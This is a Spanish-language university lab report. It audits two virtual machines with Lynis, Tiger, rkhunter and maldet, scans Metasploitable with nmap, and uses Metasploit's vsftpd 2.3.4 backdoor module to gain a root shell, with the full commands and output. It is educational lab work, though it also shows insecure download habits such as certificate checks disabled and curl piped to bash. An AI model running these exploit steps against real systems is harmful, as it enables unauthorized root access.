Universidad de Talca
Facultad de Ingeniería
Departamento de Ciencias de la Computación

Seguridad Informática

Laboratorio 8

Erik Regla
eregla09@alumnos.utalca.cl

2 de agosto de 2020

Índice

1. Actividades

Elegimos como objetivo disponible en la web la pagina principal de la universidad por motivos legales y de pruebas. Además que ya conocemos algo de información al respecto y estas herramientas no necesariamente pueden encontrar información de otras vulnerabilidades ya conocidas por la forma en la que está hecha la aplicación en si.

1.1. Configuración de ambiente de trabajo y trabajo inicial

Debido a las anteriores actividades del curso, VirtualBox (nuestro sistema de virtualizacion elegido) junto con una máquina virtual con linux ya estaban cargadas previamente. Para la instalación de metasploit solo se clonó la máquina y se cargó el disco provisto en la guia oficial.

Todas las máquinas están configuradas con tres interfaces de red. NAT, bridge y host-only, de las cuales solo la bridge esta habilitada. Todos los accesos se realizan por medio de ssh. Todas las conexiones salientes están filtradas por medio de un router cargado previamente con OpenWRT. No es posible mostrar la configuración de la máquina virtual por motivos de privacidad, sin embargo, la razón de por que utilizarla será obvia mas adelante.

Si bien este servicio ya estaba pre-activado para la maquina con ubuntu, este no viene activo por defecto en metasploitable.

```
1   /etc/init.d/ssh start
```

Por economía de espacio, no se mostrarán las salidas completas, las cuales pueden ser revisadas como documentos adjuntos a este informe.

1.2. Lynis

De acuerdo al sitio oficial(`https://github.com/CISOfy/Lynis`), se clona el repositorio y luego se ejecuta directamente la herramienta en nuestro host (un sistema PopOS Linux):

```
1   sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C80E383C3DE9F082E01391A0366C67DE91CA5D5F
2   sudo apt install apt-transport-https
3   echo 'Acquire::Languages "none";' | sudo tee /etc/apt/apt.conf.d/99disable-translations
4   echo "deb https://packages.cisofy.com/community/lynis/deb/ stable main" | sudo tee
    ↪  /etc/apt/sources.list.d/cisofy-lynis.list
5   sudo apt update
6   sudo apt install lynis
7   lynis audit system user@192.168.0.138
```

Esto nos entrega los comandos para ejecutar nuestro analisis sobre la maquina ubuntu (adjunto por cierto). Sin embargo, la parte de lynis que hace caso de comprimir la version remota en realidad no comprime nada. Como fue instalado usando un paquete, esta asumiendo que estamos ejecutando la versión del tarball. Debido a esto, vamos a usar el tarball en vez de la versión sugerida. Lo mismo ocurre con la localización del reporte. Debido a esto, vamos a modificar los comandos antes de ejecutarlos. De paso guardamos la salida estándar para revisarla posteriormente.

```
wget https://downloads.cisofy.com/lynis/lynis-3.0.0.tar.gz --no-check-certificate

# our ubuntu box
scp -q ./lynis-3.0.0.tar.gz  user@192.168.0.138:~/tmp-lynis-remote.tgz
  ssh user@192.168.0.138 "mkdir -p ~/tmp-lynis && cd ~/tmp-lynis && tar xzf ../tmp-lynis-remote.tgz && rm
  ↪  ../tmp-lynis-remote.tgz && sudo -S chown -R root:root ~/tmp-lynis && cd lynis && sudo -S ./lynis audit system
  ↪  > /home/user/tmp-lynis/lynis-stdout.log && sudo -S chown -R user:user ~/tmp-lynis"
  ssh user@192.168.0.138 "rm -rf ~/tmp-lynis"
  scp -q user@192.168.0.138:/home/user/lynis.log ./user@192.168.0.138-lynis.log
scp -q user@192.168.0.138:/home/user/lynis-report.dat ./user@192.168.0.138-lynis-report.dat
scp -q user@192.168.0.138:/home/user/tmp-lynis/lynis-stdout.log ./user@192.168.0.138-lynis-stdout.log
ssh user@192.168.0.138 "rm /home/user/lynis.log /home/user/lynis-report.dat /home/user/tmp-lynis/lynis-stdout.log"

# our msf box
scp -q ./lynis-3.0.0.tar.gz  msfadmin@192.168.0.184:~/tmp-lynis-remote.tgz
  ssh msfadmin@192.168.0.184 "mkdir -p ~/tmp-lynis && cd ~/tmp-lynis && tar xzf ../tmp-lynis-remote.tgz && rm
  ↪  ../tmp-lynis-remote.tgz && sudo -S chown -R root:root ~/tmp-lynis && cd lynis && sudo -S ./lynis audit system
  ↪  > /home/user/tmp-lynis/lynis-stdout.log && sudo -S chown -R user:user ~/tmp-lynis"
  ssh msfadmin@192.168.0.184 "rm -rf ~/tmp-lynis"
  scp -q msfadmin@192.168.0.184:/home/msfadmin/lynis.log ./msfadmin@192.168.0.184-lynis.log
  scp -q msfadmin@192.168.0.184:/home/msfadmin/lynis-report.dat ./msfadmin@192.168.0.184-lynis-report.dat
  scp -q msfadmin@192.168.0.184:/home/user/tmp-lynis/lynis-stdout.log ./msfadmin@192.168.0.184-lynis-stdout.log
  ssh msfadmin@192.168.0.184 "rm /home/msfadmin/lynis.log /home/msfadmin/lynis-report.dat
  ↪  /home/user/tmp-lynis/lynis-stdout.log"
```

Al ejecutar un diff entre las salidas de ambos archivos y sus logs, podemos identificar que si bien ambos sistemas tienen un numero importante de sugerencias a implementar, en el caso de la máquina con ubuntu, estas no parecen tener mayor importancia de el disclosure de información, ocultar banners y similares. Por otro lado, para metasploitable son servicios que están expuestos como tftp, rsh, paquetes de ssh vulnerables, etc.

Si bien el enunciado indica que esta prueba es la única que hay que ejecutar en ambas máquinas, no nos va a entregar información suficiente para una comparación real. Es más, esa sugerencia es tanto poco profesional como realista, por tanto, repetiremos las pruebas para ambas máquinas en contra de los preceptos del enunciado.

1.3. Tiger

De similar manera al caso anterior, vamos a usar la línea de comandos para cargar tiger y obtener las pruebas.

```
wget https://download.savannah.gnu.org/releases/tiger/tiger_3.2.4rc1.tar.gz --no-check-certificate

# for ubuntu
scp -q ./tiger_3.2.4rc1.tar.gz  user@192.168.0.138:~/tmp-tiger-remote.tgz
ssh user@192.168.0.138 "sudo -S rm -rfv ~/tmp-tiger && mkdir -p ~/tmp-tiger && cd ~/tmp-tiger && tar xzf
↪  ../tmp-tiger-remote.tgz && rm ../tmp-tiger-remote.tgz && cd tiger-3.2.4rc1 && mkdir -p log && sudo -S chown -R
↪  root:root . &&  sudo -S ./tiger && sudo -S chown -R user:user ."
scp -r -q user@192.168.0.138:/home/user/tmp-tiger/tiger-3.2.4rc1/log ./tiger_log_user@192.168.0.138

# for msf
scp -q ./tiger_3.2.4rc1.tar.gz  msfadmin@192.168.0.184:~/tmp-tiger-remote.tgz
ssh msfadmin@192.168.0.184 "sudo -S rm -rfv ~/tmp-tiger && mkdir -p ~/tmp-tiger && cd ~/tmp-tiger && tar xzf
↪  ../tmp-tiger-remote.tgz && rm ../tmp-tiger-remote.tgz && cd tiger-3.2.4rc1 && mkdir -p log && sudo -S chown -R
↪  root:root . &&  sudo -S ./tiger && sudo -S chown -R msfadmin:msfadmin ."
scp -r -q msfadmin@192.168.0.184:/home/msfadmin/tmp-tiger/tiger-3.2.4rc1/log ./tiger_log_msfadmin@192.168.0.184
```

Al igual que el caso anterior, tenemos las mismas diferencias. Sin embargo, nos llama la atención un elemento que es claramente notorio en msf. Primero, hay archivos de dispositivo `dev`, que son anormales. Esto es tipico de cuando se configuran herramientas para generar logs pero luego nunca se cierrar como corresponde. Por otro lado, algo que muestra en contraste a lynis es que indica que usuarios tienen permisos para ciertos servicios (los cuales en este caso claramente estan mal). Por otro lado, si bien debieramos preocuparnos al igual que en análisis anterior respecto a los grupos que tienen diferentes claves, esto no tiene mucho sentido dependiendo del contexto.

Por ejemplo, a nosotros no nos interesa si el grupo cdrom tiene o uno siquiera una contraseña, dado que ese grupo (y usuario) no tiene privilegios de login. Por tanto, si bien existe como usuario, no puede ser usado para ingresar a la máquina. Por otro lado, las restricciones impuestas sobre ese solo le permiten acceder a un dispositivo (el cd-rom). Estas alertas siempre van a aparecer pero podemos elegir no tomarlas en cuenta debido a este fenómeno.

1.4. RkHunter

Este software pertenece a una categoria diferente a la anterior. No está principalmente orientado a la detección y prevención de intrusiones, mas bien, orientado a ver si existen procesos que puedan generar problemas, mas especificamente, encontrar procesos ofensores como rootkits.

Al ver el código fuente se puede apreciar que en este a diferencia de los anteriores, es necesaria una instalación. Esto es porque es necesario acceder a anillos inferiores de ejecución para poder revisar el estado de la IPC table.

Por otro lado, también esta herramienta hace uso de otras externas para extender el análisis. Nosotros no cubriremos esos aspectos en este laboratorio.

```
1  wget --output-document=rkhunter.tar.gz
   ↪ https://downloads.sourceforge.net/project/rkhunter/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz --no-check-certificate
2
3  # for ubuntu
4  scp -q ./rkhunter.tar.gz  user@192.168.0.138:~/tmp-rkhunter-remote.tgz
5  ssh user@192.168.0.138 "sudo -S rm -rfv ~/tmp-rkhunter && mkdir -p ~/tmp-rkhunter && cd ~/tmp-rkhunter && tar xzf
   ↪ ../tmp-rkhunter-remote.tgz && rm ../tmp-rkhunter-remote.tgz && cd rkhunter-1.4.6/ &&  sudo -S ./installer.sh
   ↪ --install && sudo -S rkhunter --propupd && sudo -S rkhunter --check --sk && sudo -S cp /var/log/rkhunter.log
   ↪ ~/rkhunter.log && sudo -S chown -R user:user ~/rkhunter.log"
6  scp -r -q user@192.168.0.138:/home/user/rkhunter.log ./rkhunter_log_user@192.168.0.138
7
8  # for msf
9  scp -q ./rkhunter.tar.gz  msfadmin@192.168.0.184:~/tmp-rkhunter-remote.tgz
10 ssh msfadmin@192.168.0.184 "sudo -S rm -rfv ~/tmp-rkhunter && mkdir -p ~/tmp-rkhunter && cd ~/tmp-rkhunter && tar
   ↪ xzf ../tmp-rkhunter-remote.tgz && rm ../tmp-rkhunter-remote.tgz && cd rkhunter-1.4.6/ &&  sudo -S ./installer.sh
   ↪ --install && sudo -S rkhunter --propupd && sudo -S rkhunter --check --sk && sudo -S cp /var/log/rkhunter.log
   ↪ ~/rkhunter.log && sudo -S chown -R msfadmin:msfadmin ~/rkhunter.log"
11 scp -r -q msfadmin@192.168.0.184:/home/msfadmin/rkhunter.log ./rkhunter_log_msfadmin@192.168.0.184
```

Lo primero que nos salta a la vista no es un rootkit. Es el mensaje `Warning: The command 'XXXXX'has been replaced by a script`. Esto podría ser bastante malo dependiendo de como se mire. Si bien en la práctica, estas herramientas suelen ser scripts, desde versiones relativamente antiguas del núcleo (digamos, 2.10.x?) estos scripts han sido cambiados directamente por binarios los cuales son cargados durante la etapa de arranque si es que no son encontrados directamente

desde el sistema de archivos. Ahora estos binarios utilizan una abi relativamente estándar respecto a la arquitectura (de hecho esa es la razón por la cual es importante elegir bien la instalación, no queremos ejecutar una versión de 64bits sobre una maquina de 32 y no tener un intérprete de comandos por ejemplo).

Entonces, esta necesidad de tener scripts ya desapareció. Lo problemático del asunto es que al ser scripts y no binarios, esto permite que puedan ser cambiados con relativa facilidad desde el espacio de usuario. Adicionalmente puede revelar que los binarios originales fueron reemplazados y estos scripts con permisos de ejecucion si bien ejecutan la misma tarea, pueden estar logueando alguna actividad. Por tanto, este mensaje de msf es bastante problemático.

Las otras alertas como posible rootkits por procesos en IPC, memoria asignada a postgres y demases son propias de los serivicios instalados de msf, por lo que no vale la pena mencionar ya que es lo que se ha visto. Mención especial a la memoria asignada por postgres ya que es causa típica que el proceso de vaccum se cuelgue en servidores productivos. No es un problema, pero es un lindo detalle de parte del equipo de msf de dejar eso ahi.

1.5. Linux Malware detect

Idéntica categoria al anterior. Sin embargo, aca nos encontramos con un proceso mucho menos automatizado. Una opción es bajar los elementos por medio de git (el cual msf no tiene) y como segundo, copiar el repositorio y ejecutar una instalación directa. Esta segunda opción es la que elegimos. En este caso vamos a omitir el scaneo para la instancia de msf, ya que por la cantidad de directorios activos que tiene, tarda mas de dos horas.

```
1   wget --output-document=lmd.zip https://codeload.github.com/rfxn/linux-malware-detect/zip/master
    ↪  --no-check-certificate
2
3   # for ubuntu
4   scp -q ./lmd.zip  user@192.168.0.138:~/tmp-lmd-remote.zip
5   ssh user@192.168.0.138 "sudo -S rm -rfv ~/tmp-lmd && mkdir -p ~/tmp-lmd && cd ~/tmp-lmd && unzip
    ↪  ../tmp-lmd-remote.zip && rm ../tmp-lmd-remote.tgz && cd linux-malware-detect-master &&  sudo -S ./install.sh
    ↪  --install && sudo -S maldet -a /"
```

Esta herramienta a diferencia de las anteriores, no almacena los logs en una posición fija, por tanto los recuperamos despues de ver la salida.

```
1   Linux Malware Detect v1.6.4
2     (C) 2002-2019, R-fx Networks <proj@rfxn.com>
3     (C) 2019, Ryan MacDonald <ryan@rfxn.com>
4   This program may be freely redistributed under the terms of the GNU GPL v2
5
6   maldet(203176): {scan} signatures loaded: 17045 (14225 MD5 | 2035 HEX | 785 YARA | 0 USER)
7   maldet(203176): {scan} building file list for /, this might take awhile...
8   maldet(203176): {scan} setting nice scheduler priorities for all operations: cpunice 19 , ionice 6
9   maldet(203176): {scan} file list completed in 10s, found 5492 files...
10  maldet(203176): {scan} scan of / (5492 files) in progress...
11  maldet(203176): {scan} 5492/5492 files scanned: 2 hits 0 cleaned[[D
12
13  maldet(203176): {scan} scan completed on /: files 5492, malware hits 2, cleaned hits 0, time 515s
14  maldet(203176): {scan} scan report saved, to view run: maldet --report 200802-1753.203176
15  maldet(203176): {scan} quarantine is disabled! set quarantine_hits=1 in conf.maldet or to quarantine results run:
    ↪  maldet -q 200802-1753.203176
```

```
HOST:      user-VirtualBox
SCAN ID:   200802-1753.203176
STARTED:   Aug  2 2020 17:53:57 -0400
COMPLETED: Aug  2 2020 18:02:32 -0400
ELAPSED:   515s [find: 10s]

PATH:          /
TOTAL FILES:   5492
TOTAL HITS:    2
TOTAL CLEANED: 0

WARNING: Automatic quarantine is currently disabled, detected threats are still accessible to users!
To enable, set quarantine_hits=1 and/or to quarantine hits from this scan run:
/usr/local/sbin/maldet -q 200802-1753.203176

FILE HIT LIST:
{HEX}php.gzbase64.inject.452 : /home/user/tmp-lmd/linux-malware-detect-master/files/clean/gzbase64.inject.unclassed
{HEX}php.cmdshell.iTSecTeam.286 : [confidencial]
==============================================
Linux Malware Detect v1.6.4 < proj@rfxn.com >
```

Efectivamente encontró un archivo infectado. Se ha omitido la ruta ya que esta pertenece a un proyecto de terceros para los cuales la máquina virtual con ubuntu fue utilizada con anterioridad para ejecutar análisis (de hecho, ese fue el motivo real de por que usar esta máquina). El disco cargado en esta máquina es un honeypot cargado con anterioridad, el cual sufrió una brecha.

2. nmap

La ejecución de nmap fue hecha desde nuestro host hacia la instancia de metasploitable. La agresividad al máximo, escaneo de todos los puertos y detección de servicios. El resultado se encuentra adjunto a este informe.

```
  sudo apt install xsltproc nmap
  nmap -oX outputfile.xml  -p- -sV --version-intensity 5 192.168.0.184
  xsltproc outputfile.xml -o outputfile.html
  xdg-open outputfile.html
```

En un comentario personal, este tipo de situaciones por muy de laboratorio que pueda parecer, es batante comun de encontrarse. Mas especificamente, maquinas que tienen mas servicios expuestos de los que realmente están utilizando. Suele pasar entre equipos de desarrollo pequeños en los cuales se ven forzados a lanzar a ambiente productivo las pruebas de concepto.

3. Explotando FTP

En la actividad anterior encontramos que FTP está en su versión 2.3.4, la cual tiene vulnerabilidades explotables por medio de msfconsole. msfconsole en realidad no es mas que un intérprete para ejecutar ataques automatizados (bastante popular entre los script kiddies). Como vamos a realizar este ataque desde nuestra máquina host, vamos a instalar directamente msfconsole.

```
sudo apt install gnupg2
gpg2 --keyserver hkp://pool.sks-keyservers.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
↪  7D2BAF1CF37B13E2069D6956105BD0E739499BDB
curl -L https://get.rvm.io | bash -s stable
source ~/.rvm/scripts/rvm
echo "source ~/.rvm/scripts/rvm" >> ~/.bashrc
source ~/.bashrc
RUBYVERSION=$(wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/.ruby-version -q -O - )
rvm install $RUBYVERSION
rvm use $RUBYVERSION --default
cd /opt
sudo git clone https://github.com/rapid7/metasploit-framework.git
sudo chown -R `whoami` /opt/metasploit-framework
cd metasploit-framework
rvm --default use ruby-${RUBYVERSION}@metasploit-framework
gem install bundler
bundle install
echo "export PATH=$PATH:/usr/lib/postgresql/10/bin" >> ~/.bashrc
. ~/.bashrc
./msfdb init
msfconsole
```

Para los mas contemporáneos, es mejor utilizar msfconsole directamente desde un contenedor Docker. Esta es la manera recomendada de ejecutar msfconsole de acuerdo al autor de este documento (la opinión puede cambiar dependiendo de quien lea esto):

```
docker run -it --rm metasploitframework/metasploit-framework
```

3.1. Buscando login anonimo

Comandos:

```
use auxiliary/scanner/ftp/anonymous
set rhosts 192.168.0.184
exploit
```

Salida:

```
[+] 192.168.0.184:21      - 192.168.0.184:21 - Anonymous READ (220 (vsFTPd 2.3.4))
[*] 192.168.0.184:21      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Conclusión: Tenemos acceso anónimo.

3.2. Backdoor

Vamos a instalar un backdoor utilizando el acceso anónimo. Para esto primero buscamos que exploits tenemos disponibles, finalmente ejecutamos.

Comandos:

```
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set rhosts 192.168.0.184
exploit
whoami
```

Salida:

```
msf5 exploit(auxiliary/scanner/ftp/anonymous) > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


msf5 exploit(auxiliary/scanner/ftp/anonymous) >
msf5 exploit(auxiliary/scanner/ftp/anonymous) > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.0.184
rhosts => 192.168.0.184
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.0.184:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.0.184:21 - USER: 331 Please specify the password.
[+] 192.168.0.184:21 - Backdoor service has been spawned, handling...
[+] 192.168.0.184:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.0.184:6200) at 2020-08-02 23:00:50 +0000
root
```

Conclusión: Tenemos una shell con privilegios de root.

4. Conclusiones y sugerencias

En este trabajo se presentó el uso de herramientas para la auditoría de seguridad mediante una guia comprensiva de el uso de estas. Finalmente se replicó el trabajo que realiza un script kiddie utilizando msfconsole.

4.1. Recomendaciones

No hay que tomar a la ligera el trabajo de un script kiddie, ya que por bastante poco conocimiento o interés tenga en aprender que es lo que hace, existe una gran cantidad de herramientas de uso automatizado disponibles. Esto funciona para ambos lados, sin embargo, urge extremar las medidas de precaución.

En este contexto, podemos resumir nuestras recomendaciones generales en las siguientes:

- No levantar servicios que no se estén utilizando.

- Separar ambientes de desarrollo de los ambientes productivos.
- Realizar escaneos y limpiezas de manera periódica.

Por otro lado, ya mas exclusivas de lo visto con metasploitable, nuestra recomendación general es mantener el sistema actualizado de por si. El primer vector de ataque suelen ser versiones no parchadas de servicios que estén siendo utilizados. Por otro lado, recordando el caso de los binarios como script de la primera sección, también tener nuestro sistema actualizado nos permite identificar mas rápido este tipo de casos, ya que se espera que en versiones actuales del núcleo, tales problemas no existan.

Por otro lado, si fueramos a observar a metasploitable como una plataforma objetivo para endurecer, el panorama no es muy alentador. La opción obvia sería comenzar a ejecutar una actualización por completo de los servicios y luego una limpieza de estos. Sin embargo, si nos ponemos en la situacion de que deseamos endurecer el sistema para proveer un servicio ftp, entonces una opción mucho más viable es reinstalar todo el sistema.

Por lo general son desiciones de este estilo las que entorpecen le proceso de seguridad de los datos en muchos desarrollos.

Referencias

[1] Documentación de Lynis *lynis homepage*. https://cisofy.com/lynis/

[2] Documentación de Tiger *Tiger homepage*. https://www.nongnu.org/tiger/

[3] Documentación de RkHunter *RkHunter homepage*. http://rkhunter.sourceforge.net/

[4] Documentación de LMD *LMD homepage*. https://www.rfxn.com/projects/linux-malware-detect/

[5] Documentación de nmap *nmap homepage*. https://nmap.org/

[6] Dockerhub de metasploit *dockerhub*. https://hub.docker.com/r/metasploitframework/metasploit-framework/

[7] Documentación de msfconsole *offensive-security.com*. https://www.offensive-security.com/metasploit-unleashed/msfconsole-commands/